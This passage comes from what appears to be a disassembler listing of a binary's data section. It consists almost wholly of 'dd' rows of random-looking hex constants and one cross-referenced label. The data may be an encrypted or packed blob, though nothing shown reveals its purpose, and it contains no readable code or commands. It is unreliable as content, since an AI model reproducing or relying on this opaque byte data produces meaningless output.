		dd 0BEC7ABB4h, 0BCAF7BEAh, 3AEE4684h, 0E9E15636h, 0BC530A39h
		dd 0ADE3492Ah, 0CC768A2Bh, 14FBE0BCh, 1146722Ch, 8D510893h
		dd 0DFAA8B68h, 0FBC0AC61h, 55674AA5h, 0B01BB202h, 0F6C3BCD6h
		dd 98B439B4h, 1BBE2B4Ah, 59A4538Bh, 9703EC57h, 0FDE8CE7Fh
		dd 5927C127h, 0DD987719h, 3EBB3C0Eh, 17090C22h,	0CC2F2603h
		dd 88B47A90h, 15118D75h, 0C0B88948h, 5B1BC4CDh,	0A11E3EB8h
		dd 34B80717h, 6F97FBA1h, 0FE72D17Bh, 2DEFF27Eh,	7C1D3E46h
		dd 742762A8h, 779C3A26h, 248E292Eh, 0B39CAF15h,	2FEB0CBFh
		dd 5F529F65h, 0EEC31B1h, 0D2F06619h, 8397A258h,	656DCDA2h
		dd 8E437C56h, 94D84ECDh, 769630E1h, 0DA678B13h,	0BE5D5A67h
		dd 75FD80E8h, 1E51C5A2h, 3460F66Ah, 0C2402956h,	0FF55155Ah
		dd 70BCD59Bh, 173DA9B2h, 0AA9DD986h, 26A12A24h,	0A8ABB250h
		dd 5B3E99BFh, 4932F932h, 0A7B40B2Eh, 43D55DD3h,	1C533F1Ch
		dd 593B90A6h, 4B9EFEDFh, 816D1921h, 40D0A2EAh, 0B9F0AD26h
		dd 0E49CAA58h, 0F5A3BB52h, 0DCED95D8h, 611ED98Dh, 0E43F574Fh
		dd 942EF969h, 471D0190h, 0AAD7B2FAh, 9C150CE4h,	0CE5B99CBh
		dd 25AA917Fh, 8D10096Bh, 748AE3E8h, 0BE311E0h, 3AB66497h
		dd 906311F4h, 1B4CC92Bh, 0C2C6546Dh, 783E560Dh,	3F1D8953h
		dd 289D68D4h, 4552F3D6h, 54EBA5FFh, 7C1D068Dh, 658CE344h
		dd 0F606ABCEh, 0B6BC3E9h, 75A13CF0h, 5CCFB769h,	0F3E93879h
		dd 0F512F181h, 0EB4E93Eh, 0DBDD7B2Fh, 723B45CEh, 9C0B2B28h
		dd 7BF99246h, 0FE63B66Fh, 6D810308h, 783E2B56h,	3F098C6Dh
		dd 0AB3E0854h, 0F43939F5h, 6E808EFh, 0E4B1A6BEh, 2B45989Fh
		dd 0D6079DEFh, 0CCEA0C44h, 84ADF1B7h, 0D0FD1746h, 0DF41C1C7h
		dd 0A1D81508h, 4EB3B3BAh, 1D8B7CBFh, 1D4AD5D2h,	8AADCDEDh
		dd 0ABDFF44Ch, 0AE9E5390h, 67E5610Dh, 4B448527h, 439AA1D7h
		dd 2CDC7FE7h, 8BD97478h, 0ADF75D3Dh, 0FF0B346Ah, 0CAE1EBE1h
		dd 4357C0A0h, 9EBF688Fh, 0BBA1E5F0h, 0EA892C06h, 9462FE32h
		dd 0B0CABF02h, 1E1856BDh, 3AB45A37h, 2483EFA3h,	0FD587B1Fh
		dd 4599E20Dh, 0AE16AE31h, 7DB7684Dh, 2E3D1F7h, 9B8A48DDh
		dd 0AD7A505Eh, 0DB01A33Bh, 52EA812Bh, 885AFAB2h, 0C1BFF8B7h
		dd 328CC073h, 8C29EDFh,	5BEF41DFh, 3E1F5DAEh, 0AE1F7C97h
		dd 254B8F89h, 0F70231Dh, 1E834CE3h, 8B8FB29Fh, 4FD42419h
		dd 0E3688286h, 656B973Ah, 271AC2C6h, 0DF66E96Ah, 0B794B762h
		dd 43B49FCAh, 0F26D830Ah, 0FB55B95Dh, 64F5254Eh, 1ED595D3h
		dd 81F1F12Ah, 50FC73A5h, 96426C6Eh, 4206B671h, 94C4AD6Dh
		dd 0BBA2DB3Dh, 0CE292FECh, 0F8A0A186h, 0B261566h, 0C956BF2Eh
		dd 5FDAF577h, 4E99F194h, 3177F0C5h, 8E8481A2h, 598D415Dh
		dd 0DD72F3F6h, 0F2D26BE6h, 6D14F915h, 0FE262D44h, 140B9E7Dh
		dd 359DE9EAh, 86DA338Ah, 6DE08D84h, 0BE4684D2h,	293E8D34h
		dd 0B6BB58FBh, 0ACD15FCBh, 4D15487Dh, 54F59E35h, 0ACBE8BC7h
		dd 0BFC96904h, 615A6CBFh, 5CB90FC5h, 0E14F5DCBh, 24B88C52h
		dd 0E6D56713h, 71141FBEh, 6E1D0C75h, 0E0943E3Dh, 0D1B9A305h
		dd 0EE91CA19h, 77377C7Fh
		dd 1E39776Bh, 0CD392CABh, 0F953F453h, 0D47C66C4h, 0A1685F37h
		dd 36AAA79Ah, 0D96AE8DFh, 75475974h, 8B6ED8CBh,	5B3108ACh
		dd 7E3ACB5Ah, 1B353088h, 0C88956BCh, 0BF49E29Ch, 31C8CEACh
		dd 0ED15ECC5h, 2E1E8254h, 71AAC8C6h, 0AEFA5D8h,	8BFD0535h
		dd 5CD40EE7h, 43748428h, 9D8E37DFh, 62F2D16Fh, 7DEC1E77h
		dd 0F749074h, 0EBC7C499h, 79587F6Ah, 0BD9EDCC6h, 0E6EFC509h
		dd 0ED602181h, 15433EFDh, 0C5A14843h, 0A326035h, 0D8AE6569h
		dd 3DEEB4B6h, 3BBB8145h, 3F26607Eh, 0B957A1AEh,	61BF49B3h
		dd 6285FCE0h, 6C3CDE7Eh, 0B2D0F83Dh, 0CDA3FA1Ah, 9868DA9Bh
		dd 2EBC67C9h, 88D8547Dh, 0C333461Fh, 88A23B41h,	0E7D22461h
		dd 2576A3D6h, 6CE95C50h, 98966D0Ah, 8D2777A5h, 4D9466C7h
		dd 0B0C66963h, 0A87B4352h, 6181898Fh, 1E97C10Eh, 66EFC4F8h
		dd 0F1DD2960h, 9F0C6C6Dh, 0D61B0E4Bh, 35E2B87Eh, 0F9335B90h
		dd 14D2554Ah, 5E090A34h, 32486AFAh, 5B048283h, 4D9C7315h
		dd 9D684DFDh, 55ED126Bh, 703A54CEh, 9C51363h, 0EB93D393h
		dd 0BF06DCF7h, 0E35F39EAh, 5439D7FEh, 0A2D5ADF6h, 0DC012CBDh
		dd 12C23D8Bh, 0C769D39Fh, 7C7448B6h, 0B81AB635h, 0D50D5274h
		dd 0F4DF26B1h, 9500EDEh, 7AF03AE5h, 0F7621FEEh,	0AED92B6Ah
		dd 0EC2F06E1h, 0A5148D30h, 0C501E957h, 0DDBCC2BAh, 9693DB99h
		dd 0E3F3AF22h, 0C7869BF7h, 0E7AEB893h, 0B6DB7B09h, 0D6A9E078h
		dd 0BC770946h, 9842166Eh, 0B1B7C101h, 5E92230Bh, 41FB696Bh
		dd 0D2545C4Dh, 2A9C9BE5h, 0FC02A35h, 371C2F87h,	4CAF589Bh
		dd 0DA6B5EADh, 962F03E7h, 17F9AB96h, 0CF714A85h, 86F1BE5Dh
		dd 46B3B898h, 6C3362AEh, 8C80F0D7h, 0ECB5811h, 0D58DF7B0h
		dd 915358CAh, 0DB2E3CB0h, 0A553DF11h, 0B3FDEF4Ch, 256FB002h
		dd 0B6878B34h, 10CDF1B3h, 206EAD0Dh, 7F7D4463h,	7089E12Dh
		dd 0D5C39986h, 71BC0F4Ah, 0CE515FF2h, 80E81B9Eh, 0BBD26A6Ch
		dd 4265E98Dh, 8328EC13h, 9FD8EEF2h, 736827B2h, 91F27779h
		dd 63256607h, 0EA36D4CBh, 48B0FD10h, 0FE694558h, 9B3E4AA5h
		dd 0A4199CB7h, 0B78F495Fh, 0F7C9713h, 7CA13259h, 6BF766B7h
		dd 818B174h, 5B9F7128h,	0C73E6A6Bh, 0AEED62BBh,	0ECB46709h
		dd 2B3E6B39h, 0D00C75BEh, 3D049D8h, 0E7FF041Fh,	3B7C62E8h
		dd 113398A1h, 0B78595E8h, 0D1502B04h, 0FD78D64h, 5A6758C6h
		dd 580E70E5h, 0E8B6CC4Eh, 0D59533F3h, 0ECBF525h, 1F8749DEh
		dd 63358466h, 0F09B92ADh, 25D2AEAAh, 0D7CBCD13h, 6B51325Dh
		dd 21F8A6A1h, 0FFC6A0C5h, 0A32938AAh, 59699DDFh, 6144AEA7h
		dd 9A5B76F5h, 8300375h,	47A6E11Ah, 994F3EEFh, 39FB3A8h
		dd 0D68B146Ch, 8136DE9Dh, 44009362h, 0BAA0C50Dh, 37963218h
		dd 0E978695Ah, 0ACDD997Dh, 0C541D439h, 0F0558A92h, 66078243h
		dd 13CA09B3h, 0F8E14994h, 15CB59ECh, 0C35D57E8h, 8DCBD9h
		dd 7BBBE62Bh, 0E16B2FDFh, 0ADA80F9Bh, 7EBAD074h, 0E2AD45CDh
		dd 88DBF0FDh, 0CEDF8393h, 7821BEC1h, 49A27CC5h,	7A6C20A2h
		dd 0DE3CE678h, 12B46CA4h, 9F78F1DBh, 8F924A3Ch,	0CA197D65h
		dd 37B0636Bh, 4E752FC9h, 0CF9D9EAEh, 0A0C61CF1h, 0F45CFEFAh
		dd 0BF0F78F8h, 3FFB1638h, 0FEFC01FFh, 55D16A96h, 20CD222Dh
		dd 30A40B93h, 0C0B48773h, 7C8F7245h, 557EF7C4h,	275FC7A6h
		dd 9986ADB6h, 58E98ED3h, 9E668B78h, 8823B9F9h, 717769F7h
		dd 595D9D9Bh, 0BAF9B42Bh, 0FCCA67F9h, 0BAF07A21h, 35C0C6F4h
		dd 7D1C6870h, 4C3F8BF3h, 69BA73D8h, 0F3D3115h, 3BDA199Eh
		dd 163AE259h, 0A742BB45h, 0EDC3755Dh, 0A853F9B2h, 0E4CDD5FCh
		dd 0ED84F5B1h, 9D87549Ch, 4A6836D1h, 0DF0BEDBDh, 0DFC94776h
		dd 0EB98AD21h
		db 1Fh
byte_482E45	db 0FFh, 9Eh, 5Ch	; DATA XREF: sub_43EE8F:loc_43C997o
		dd 934827Bh, 0F59D5971h, 6684F9EDh, 957CC6DCh, 7730AD68h
		dd 18CFBF59h, 0AE0B8617h, 33E7C7Dh, 82631BB6h, 5437AA92h
		dd 0ED03E9D5h, 8948BC9Bh, 395956A5h, 7AF8191Fh,	5E558F0Dh
		dd 0BE965FD4h, 0AB6660F8h, 0D5C031F2h, 0E1BFBC55h, 0B4FF7EABh
		dd 377570C4h, 2DD9087Eh, 486B6756h, 460E5AF3h, 9956CC34h
		dd 199FAC85h, 0EA92849Bh, 0E2FCC0FBh, 2E7479D9h, 7C5E7FF5h
		dd 3AFC5DA4h, 0BAC6AB48h, 0DBCB85A2h, 0D35A4AD7h, 0CAA6B040h
		dd 0AAF60615h, 4AA3DF58h, 0FD2F892Eh, 74147F79h, 0BE7DB26Ah
		dd 0B95B4631h, 49B7ECA0h, 2D52C712h, 4257130Fh,	0E92146F8h
		dd 5D12A62h, 6DECA12Ch,	0C83351B7h, 1BB98954h, 577DAE6Fh
		dd 0BDCE4601h, 98990873h, 0D46B624Ch, 0DB0CEE13h, 645A5CE0h
		dd 0F768FF29h, 0CA5EDB81h, 0C285AEBCh, 563D7227h, 723AA89Ah
		dd 0E9AABB94h, 8ABDF48h, 29B435C3h, 89B484A0h, 814FFFA2h
		dd 36C8EA24h, 4C922AAFh, 0BD420AB0h, 0AB4953F8h, 0E8F0A568h
		dd 5CE63E6Bh, 49D61A0Eh, 5F4764CDh, 0B41388DEh,	4BB49515h
		dd 68B5865Ah, 0E02D78FCh, 0AEC3E157h, 0A042309Bh, 21E1E831h
		dd 70F4E1E2h, 0E63DB2D5h, 7E562831h, 98FEA095h,	0D7A5BEE1h
		dd 3BB88846h, 0DADC6881h, 46E5165Dh, 0E0150D7Ch, 5D434C93h
		dd 0DAD5A71Ch, 9DA979BFh, 2F1AEB4Ah, 0C37F2BD4h, 0C27DFF9Bh
		dd 5763AA8Bh, 4697277Eh, 8AD2DE3Bh, 0C2C772EAh,	751665D4h
		dd 7167720h, 6AEC2ADAh,	54E551F1h, 0D6371A3h, 984A2A41h
		dd 0A9313AC4h, 786453D4h, 5A301A56h, 0FB927C89h, 5693F7E6h
		dd 958C13DCh, 0FFCD89A4h, 0D34822B0h, 11EDADD5h, 3BC5B66Bh
		dd 74C874EFh, 0FDC5398Ah, 5335285Ah, 3F869DFDh,	0CBAB053Eh
		dd 4DB4AF7Dh, 628E1159h, 9ED98C14h, 5596A258h, 0CA5EE671h
		dd 0A9DA5BE7h, 6CD64EBCh, 0BD3920FEh, 2420C2B6h, 8BCE8CB9h
		dd 36D53128h, 0FE05EB61h, 0F6401B41h, 0B3E6B61Ah, 0F7E66F4h
		dd 0FA91958Eh, 0F6B6F868h, 0C837A360h, 14CC8692h, 0F316E960h
		dd 6D7ECE33h, 3391250Eh, 0E33FEC61h, 5BE96A87h,	0B9EA52B6h
		dd 0E69EBDA2h, 0D3F0F2B3h, 89A4B78Ch, 27D9EB41h, 0DE4E6505h
		dd 0C89F9C08h, 0C98A7B14h, 6C785F16h, 0F52B6B35h, 41AD8630h
		dd 0E7781579h, 199395Ch, 310A57A9h, 2EEE5AA3h, 3FCED79Fh
		dd 0A902E3C6h, 0C886F1Eh, 0CA56A7B2h, 0D4114BA3h, 0EAE349D9h
		dd 3F6C6041h, 2D3617DCh, 59C00ACBh, 1116D067h, 0D7AD47E7h
		dd 74894E6Eh, 58574EE2h, 0C8626833h, 797F5AB8h,	0C7F05E06h
		dd 350C193Ah, 792015CFh, 4E916CE5h, 5C0F2C9Bh, 0A1E9B5D3h
		dd 513EDF2Bh, 0D695CDD9h, 0C93FDE7Dh, 5A12B456h, 891D44C7h
		dd 0A970EA94h, 0A0BFC0F3h, 37C5BDC4h, 7AB41B31h, 0E95DAAA8h
		dd 5699F3C2h, 5F368285h, 1B23B4AEh, 0FF1E3CBCh,	0FC576502h
		dd 75A5B897h, 0F739B954h, 77E5BBA5h, 590ADD98h,	28CFEA87h
		dd 9B09D461h, 0E95FB05Ch, 20D372E3h, 0DAD32DEAh, 2D2C1749h
		dd 0B50A3F25h, 0DF39C54Ch, 0C6BE7E44h, 86472D6Fh, 998CABE4h
		dd 77B7ADF0h, 244A3F07h, 41AB2879h, 9DBCC5h, 0DEA1CBB9h
		dd 71743F47h, 0A3FDA2D5h, 0AB69F639h, 21AF0B11h, 4D57592Dh
		dd 9DF6B6BBh, 0D5367A98h, 0EF9C45C7h, 2C3F1CA7h, 73E723E9h
		dd 6DC60F65h, 0F299257Ch, 0ED7DBE29h, 44DAAB0Bh, 4F0A3745h
		dd 0B3A92EFCh, 7295BF45h, 342E6C39h, 0AC32814h,	97079351h
		dd 96275D1Dh, 8B9AC2EDh, 77DE1E1Fh, 0C8772E74h,	0F3F74322h
		dd 5C4FCBFBh, 0D625AB17h, 0AFF36FECh, 621CFA72h, 0E8F0D275h
		dd 0E7D5354Fh, 0F7D44F2Dh, 157C4D9Ch, 56AC1A41h, 0BAECC4DAh
		dd 0C6493C54h, 0B3A60F90h, 661DB9FEh, 926DF1Ah,	0C7B15E28h
		dd 688597Fh, 0E1552EEAh, 740CABD0h, 3024B862h, 7265B990h
		dd 2DEEBAE7h, 5DE697D3h, 19ED243Dh, 0F297F2F4h,	9E2BFEC2h
		dd 22D17446h, 3AE54984h, 0D7986DEFh, 0D557A88Ch, 5DCA929Ch
		dd 16F016ECh, 52B8A93Ah, 4745A3B3h, 0C8E33CE8h,	0A19DFE29h
		dd 0B67411A4h, 0F1566283h, 7963C31Bh, 0D6254A1Dh, 0D893D12Ch
		dd 297223FBh, 0B6C1AAC1h, 8226BA02h, 51E75729h,	0C62DB9A1h
		dd 1FEC4088h, 1A746798h, 776F3ADDh, 0A9DA2AACh,	8BCE133Bh
		dd 0DCC83AF7h, 1482796Ah, 160F4434h, 1857FCB3h,	0E33392EAh
		dd 4FD37D71h, 0C621F162h, 196E80FFh, 5A3AC13Bh,	0D3396AD5h
		dd 648C56D8h, 0A5F2348h, 0CF73CF92h, 7CF3DD70h,	7C519564h
		dd 0F42AFE60h, 0C1A1189Fh, 11DAF4A5h, 0DD9F34FCh, 0FC1CDCBh
		dd 0CAB82217h, 0D90A57A7h, 0AD52BB94h, 313CEF9Bh, 38397891h
		dd 0A34B2C1Bh, 355F349Ah, 3FD57E3Ch, 48EB134Fh,	0D2E91B08h
		dd 0C6ECA7EEh, 0A52CD146h, 0BEEA5A49h, 1C678B6h, 1F0DD921h
		dd 0A156BBECh, 0AB6945C4h, 10388ECh, 9FA22C4Bh,	0CEFF682Dh
		dd 0D6338475h, 812FAD5Eh, 4CB2D281h, 363D53A7h,	0F8FC85FCh
		dd 0A5EF652Bh, 0D688954Eh, 4BDF7976h, 0A0C71E16h, 14C76AACh
		dd 44A1EF2Ah, 5E81E0ADh, 93D37F85h, 0B47FA557h,	0BC90B982h
		dd 0F5C38B3h, 0B9263AF1h, 74AE7E40h, 0A6D8CE68h, 445D11A0h
		dd 0EA858E29h, 708B2539h, 75F80FC6h, 8967B532h,	0D6673ED8h
		dd 1F926676h, 1BED99B1h, 952FD1BFh, 5C32B56h, 0D4A1F406h
		dd 0B77F8DAAh, 0BE8BAF8Bh, 55444995h, 2354AEB7h, 449C54EEh
		dd 0D597E772h, 0CD5D3367h, 9F6E29Dh, 413573BBh,	0F64F17EEh
		dd 31DCB595h, 83C59195h, 9ECA2309h, 0F93B6979h,	0C642F185h
		dd 0EBBD5FA5h, 9C35D011h, 92F836B4h, 2E2E6D06h,	48D69EF9h
		dd 0A3E9E747h, 9469E196h, 8582DB60h, 0CC2AA104h, 0AA7B17DBh
		dd 28B785F1h, 39568953h, 93260F4Ah, 0A46C8825h,	0E8E46155h
		dd 23068EABh, 83BDB7FAh, 7F874451h, 3E38D8F1h, 0E09479F8h
		dd 23AA82F0h, 982BFE5Fh, 56A6C87Dh, 0F2D2A58h, 65DCD92Eh
		dd 56BDDCB9h, 371341EAh, 995A90A2h, 1A5C567Bh, 0BEF38AADh
		dd 66DCC94Ah, 8F228595h, 781FCF5Fh, 93487337h, 0AA3FD45Bh
		dd 0A4B0540Ch, 81A2F590h, 715965DFh, 5E43083Ah,	4D8A91CCh
		dd 0D03880D1h, 0F4A89E4Ch, 3DE96991h, 4784CFF0h, 33E2942Bh
		dd 0A3493FEAh, 285A23C5h, 9800F83Ch, 4C9DED54h,	0B044C2BCh
		dd 643E5CFFh, 2FD533D0h, 0F1AAC6BFh, 4A93C9B0h,	4F39CF3Ch
		dd 0BA785AB4h, 0FC154AC8h, 0D601AE90h, 3EF167BAh, 0FE31C68Eh
		dd 7080CC48h, 6A171754h, 143E6599h, 0CED2BBE2h,	5675FED6h
		dd 7F2F9109h, 0E736CA34h, 22504A77h, 3835E1CCh,	9A0D15D9h
		dd 0DB9ABEB6h, 433B22EFh, 0B0AF992Eh, 62674DEBh, 6A078D7Eh
		dd 7330A226h, 0A33281E1h, 0B8CB9419h, 57708603h, 4E5495F3h
		dd 0B44C4A9Fh, 0C44BFDB1h, 0F1AFD7FAh, 942F4701h, 13994055h
		dd 9657C705h, 3D1DAB45h, 0D8BE4EABh, 0B910565Dh, 7BC03024h
		dd 54C77A7Dh, 0B2DAD381h, 453217FBh, 7874889h, 7573AF7Dh
		dd 0BEF88D12h, 0AF7B1362h, 92011F0Dh, 0E32E9EB7h, 0F1300CE5h
		dd 2028A2E2h, 2A91522Ah, 0A2A9BF91h, 554828DDh,	8D23F250h
		dd 82C20F99h, 95C2E795h, 434DB170h, 0A6893719h,	36DBFB17h
		dd 59507565h, 1EF46AD9h, 0BC4B96AAh, 16BA834Ah,	8D3F2EF7h
		dd 0C4513C19h, 0F36A974Ch, 84A6BC9Dh, 0CF2EE061h, 576C5D6Dh
		dd 742D592Eh, 4483DAE2h, 0A910139Dh, 4332F0B9h,	0FDF6C8B6h
		dd 31B81392h, 215DC178h, 6CC62F05h, 5E1A9347h, 724010F8h
		dd 4CFBAB8Eh, 0EAFF5F8Dh, 699A6AFFh, 0A5073B07h, 1D09B6Bh
		dd 0F98FF25h, 0F0415D2Bh
		dd 575E6181h, 5F6DFD5Eh, 0B4BE298Ah, 5C078B94h,	0A828C2A5h
		dd 0A7BA0A4Eh, 697CFB18h, 3584F39Fh, 95A7292Ch,	9BF3BB90h
		dd 7B2A3422h, 0F4EF3632h, 24ACAF29h, 6C1B9172h,	0ACB29BBAh
		dd 0E00B1311h, 5292F82Ah, 5EFA1576h, 3ECE612Dh,	4C69E7CBh
		dd 890F5717h, 0C575AA76h, 3DDBFB97h, 6136E0CDh,	89C9E5E8h
		dd 49687FC6h, 0B5D8BB9Ch, 7684F8E4h, 4167C13Eh,	13FD68FBh
		dd 785EAE2Dh, 8A3635B9h, 0ABDB01CFh, 0D8D371F5h, 155F03C3h
		dd 0ACB4A8D0h, 59FFAEA6h, 0E02BBC41h, 0E2ED31E4h, 0B0FDBB1Ch
		dd 6F589270h, 29110B2Fh, 0D5AFEF8Bh, 0E887C7F6h, 0AEB44BD9h
		dd 0B61E03Ah, 5298B89Ch, 0A663CC35h, 8BEBEC3Dh,	0DA854DBAh
		dd 73AFF57Dh, 8CAAA3DDh, 0FC7F1B52h, 35948223h,	47C72943h
		dd 3DB97DD0h, 77E1BF0Bh, 0D210A222h, 6E5F3565h,	930A2840h
		dd 582202A8h, 6CC7A8D5h, 36A75915h, 1D531897h, 0BE58F194h
		dd 10DE3C2Dh, 1F0348ABh, 0D64E0F1Eh, 0ED8AFDB3h, 860F2BCAh
		dd 0BBF78C8Ah, 0C164E0E9h, 5578A2BAh, 0FF40355Bh, 8D749A5Eh
		dd 0A744E236h, 0DF7129FFh, 0EE7A370h, 0CA1F9DD3h, 4539E8D0h
		dd 16410D7Dh, 0F59A4B5h, 0C1408904h, 879E2F57h,	149EC99Dh
		dd 8037E9D7h, 0D8AB07F3h, 7708D8E3h, 8916F6B1h,	0DC2F245Fh
		dd 0DF3EC591h, 7CABF424h, 0E6C558E2h, 0CCF54327h, 793CC4F8h
		dd 2BC01E83h, 825A57AFh, 2FB977C6h, 4E0CDBB6h, 0B92A7775h
		dd 94A3AD59h, 50CC72Dh,	3E29923h, 1D5FB34Bh, 0F6DED46Dh
		dd 0BE130F92h, 0E32449B8h, 152C3E5Fh, 0F67D9455h, 8B4D5A21h
		dd 57124425h, 6280A97Ch, 5E582255h, 0E43BA987h,	0C6AE3B38h
		dd 780311B0h, 0CF39A661h, 0E46EB364h, 0F5ABA47Dh, 4947F79Ch
		dd 6755821Ch, 4E2D30C6h, 881AD291h, 624D2D57h, 7C342597h
		dd 5B5F2F4Eh, 60DA6B07h, 96A05160h, 989AA57Fh, 9662CF13h
		dd 4E8F1299h, 494A9539h, 0D56A723Ch, 0F3DC14A6h, 0DD079AAh
		dd 2FC60FDBh, 33542726h, 59A5C4EEh, 7110A54Bh, 0C59D4AE9h
		dd 0B84FBF0Ah, 6B3115C5h, 1ADB532Fh, 0A75126F1h, 0BF0BEBA1h
		dd 0DDFE328Bh, 4A3659B8h, 0BBE7F48Fh, 0B074D268h, 115D948Fh
		dd 0F99458B7h, 0A9977B9Fh, 0A24AF61Ah, 8852F3B4h, 0F05FD38h
		dd 884AB19Ah, 0D05C57D8h, 7932706Ah, 5D3F9476h,	3B6B3112h
		dd 0D611C217h, 0B5D93124h, 6ABD6A90h, 905064B0h, 1693A135h
		dd 0E6976BBh, 92FFC5E9h, 4EAA3CC0h, 0C66E07FEh,	0E1BEABF3h
		dd 0C1F2F4E1h, 7CBCAF21h, 0A997C2E3h, 0A8AA4CACh, 907C28FAh
		dd 0EB81B616h, 0FB19E57Eh, 372BF84Dh, 434B45F8h, 3BCC3776h
		dd 768C3C24h, 39FAE66Ah, 0E1D3A4EFh, 2C3164B4h,	3AAB6DBFh
		dd 762A7E5Eh, 7D31156h,	0C216B6C6h, 0AC8FADAFh,	4CDF656Dh
		dd 9638363Fh, 0DC0FCDF5h, 18F91991h, 0E94F22C3h, 43E8E916h
		dd 7C6E0D41h, 5BF0B44Ch, 0D4CD98E3h, 0BF0725F1h, 0E6AFD4F8h
		dd 0A49795C5h, 1E43E889h, 4C7EF153h, 0B444128Eh, 0C5F2A39Ch
		dd 0DCC13438h, 0CA915F35h, 0ADF35092h, 7970943h, 0F1E33E2Fh
		dd 5E4908C0h, 0B44E14CFh, 9A24C81Ch, 0CC21B00Dh, 0D05C07C2h
		dd 5378A4BDh, 55FA6D42h, 0B975B250h, 533FDD2Dh,	0C53D20A9h
		dd 0F969AA1Ch, 0E50AEA30h, 2FFB5E3Eh, 26D40B46h, 0AD7E86E7h
		dd 0ECC53065h, 0E81854EDh, 0C703E1CAh, 7C2C595Fh, 0ADE1E0DCh
		dd 0EDCC6F82h, 0FC83881Ch, 0A9C56336h, 5667907Dh, 194AF19Ah
		dd 5DD47EF8h, 0EEFE79A2h, 781F95EAh, 0E7CDFAEFh, 45B68F87h
		dd 8D32C106h, 6EFCE7DCh, 4E2D285Eh, 8DA8C64Fh, 0DBC36E3Dh
		dd 8D92A5CAh, 0FE15F111h, 0B8E3103Eh, 0BD72E622h, 5A32A1F8h
		dd 2684F746h, 7D60111Fh, 0FEF0DFC1h, 8F9EACFEh,	9C1EA121h
		dd 0FD6E289Ch, 0A319AF62h, 92AFCEBEh, 87023476h, 0E4BF8B20h
		dd 75CCA30Bh, 0E44ED3B9h, 0FEDCF910h, 3F1FF64Dh, 2C85FADCh
		dd 0A234FE76h, 37B25871h, 5CA5554h, 0B996BBCDh,	0C4DDC73Dh
		dd 0F9255721h, 0EEADC161h, 79DE5705h, 3DDB724Ch, 2188FF6Ch
		dd 0F93086C4h, 0C7F698AFh, 16485EECh, 0BCA83577h, 0DBDB2676h
		dd 68A61D7h, 41D44A5h, 0DCBAA21h, 0E27F9092h, 9DF48CFFh
		dd 574D15FDh, 5E5F258Dh, 7E1B66C7h, 0E5763821h,	1F0992C2h
		dd 844E5ABBh, 0E6AB133Ah, 812D7F45h, 8345A043h,	0F4BB20EDh
		dd 643B9713h, 4FB3338Eh, 0BF339BAFh, 0B60C7A0h,	0AE6D76DBh
		dd 3FC1785Ah, 69CF0D37h, 383881E5h, 0AD685615h,	0AF59BEC2h
		dd 8FB48B1Fh, 0D063D6A1h, 66F4520Bh, 2589A4C6h,	0EAAC18A6h
		dd 6CC5E16Eh, 45A37985h, 0D14024B3h, 464836F0h,	0E62257BBh
		dd 743AA341h, 489522A7h, 0B9E9B1FAh, 0EA8E4BEAh, 2ADEDC02h
		dd 6E9807D7h, 0BC3EFCE2h, 813F1A9Dh, 0D8F02F85h, 0D52830F0h
		dd 6BF66B26h, 0B9BF3420h, 58BFFC72h, 539D5D55h,	0A4140AFDh
		dd 70237CD5h, 0E5707ED0h, 0D275675Ah, 4AE48DAAh, 5CBACC55h
		dd 39EA151Ah, 0F8DAC6F5h, 696FD421h, 0E58B0926h, 56720E6Fh
		dd 6B9BC733h, 9A18F1FBh, 695AE38Ah, 5C796B50h, 0EDF79CE1h
		dd 0B459AACFh, 20A963A8h, 291AE2EAh, 0EC8BD7E3h, 68A04EF6h
		dd 67ADBA20h, 38BBF568h, 0F4F27734h, 85F98B29h,	0ECBA577Ah
		dd 3A52F309h, 571127C1h, 46E35661h, 0C0D718D7h,	0A838B585h
		dd 68BDF262h, 2F7D76F6h, 52AF1D2Ch, 70EDF46Ah, 478EE2B4h
		dd 0F99830A7h, 0BA859661h, 0BEFC285Bh, 0C7E7C00Fh, 7E22D607h
		dd 1E262388h, 3E752ADBh, 9CB31F91h, 93E719B1h, 3793D173h
		dd 0EB255B55h, 2F1DCF8Ah, 0EFCF952Fh, 0C6815430h, 0D44F3941h
		dd 0BC1BAFE8h, 831328D7h, 96592F59h, 54A5457Dh,	53077E6h
		dd 0C535D859h, 8FA7BE27h, 0FD6FAE96h, 53730637h, 2EB8E09Ch
		dd 21973104h, 0D98B7A46h, 716C133Dh, 4908ABD2h,	0F47AD02Ah
		dd 6B5AAF7Bh, 34FACCB0h, 0F6F05FB3h, 2574735Dh,	8B8AC8F4h
		dd 0E1E1DC31h, 4AF50912h, 40DB15A9h, 0B5DB9B77h, 0D036BB53h
		dd 7473099Dh, 9B47ED76h, 0A813FED2h, 87E08956h,	257199C2h
		dd 1CED2F36h, 0D12E4E35h, 0AC68C53Eh, 0FBAF492h, 0C93135BFh
		dd 0FC12BE1Bh, 3006A7ABh, 0A3AF3281h, 2DB2368Dh, 4BEA854Dh
		dd 0E4ED3348h, 0EFBE111Fh, 1BBD54A8h, 4A95FAD1h, 0B7C8C9ACh
		dd 0FCFF3974h, 10036145h, 25967B1Bh, 64BF2DA4h,	954673BBh
		dd 91896EDFh, 0BFDFD62Eh, 0D534BAECh, 0BE34BDB2h, 80F00AB6h
		dd 6E248D3Dh, 0EBDEF711h, 3A4847C4h, 92ACE342h,	6702999Bh
		dd 36FF9167h, 2C29BD6Ch, 0D5C4EEBh, 0E9AA6823h,	228AF653h
		dd 0BF25E0F8h, 0EDBF8440h, 52DFA7FAh, 588B7E9Fh, 3F2F43D7h
		dd 0BFC7FA65h, 0DE2F8408h, 473E8346h, 6FA98098h, 2B5FB4FDh
		dd 18BBAF84h, 0B893D93Dh, 54A420DDh, 0B857B47Bh, 0B7516BF8h
		dd 43F9CAAh, 5CA6DEEDh,	0AAC60354h, 0AFB545DFh,	3A0804DDh
		dd 92277073h, 0A75FD5C8h, 0A5F3EAD1h, 0E119D96Eh, 13E725E7h
		dd 894D7C2Dh, 63A4705Ah, 0CB39A928h, 894C44A9h,	0F9C626BFh
		dd 6BEB94A1h, 0A16BD87Dh, 82A55217h, 73BB5272h,	7FAB0B26h
		dd 80E448ABh, 212B5A11h, 36862654h, 839D12C4h, 0A3E1ABF3h
		dd 0C6244E0Fh, 3B6E84E5h, 0C3B8CBC4h, 0FB4D9F97h, 56CC05F8h
		dd 666361A5h, 0C4BE3463h, 0DA2D4F2h, 99077ED9h,	0E78D02EAh
		dd 0DB6F476Eh, 1F8DF719h, 962E9CC2h, 4D4FCC6Dh,	0EA642279h
		dd 74EF1595h, 88D0D192h, 0A752C02Bh, 0ACAA8CABh, 95C37128h
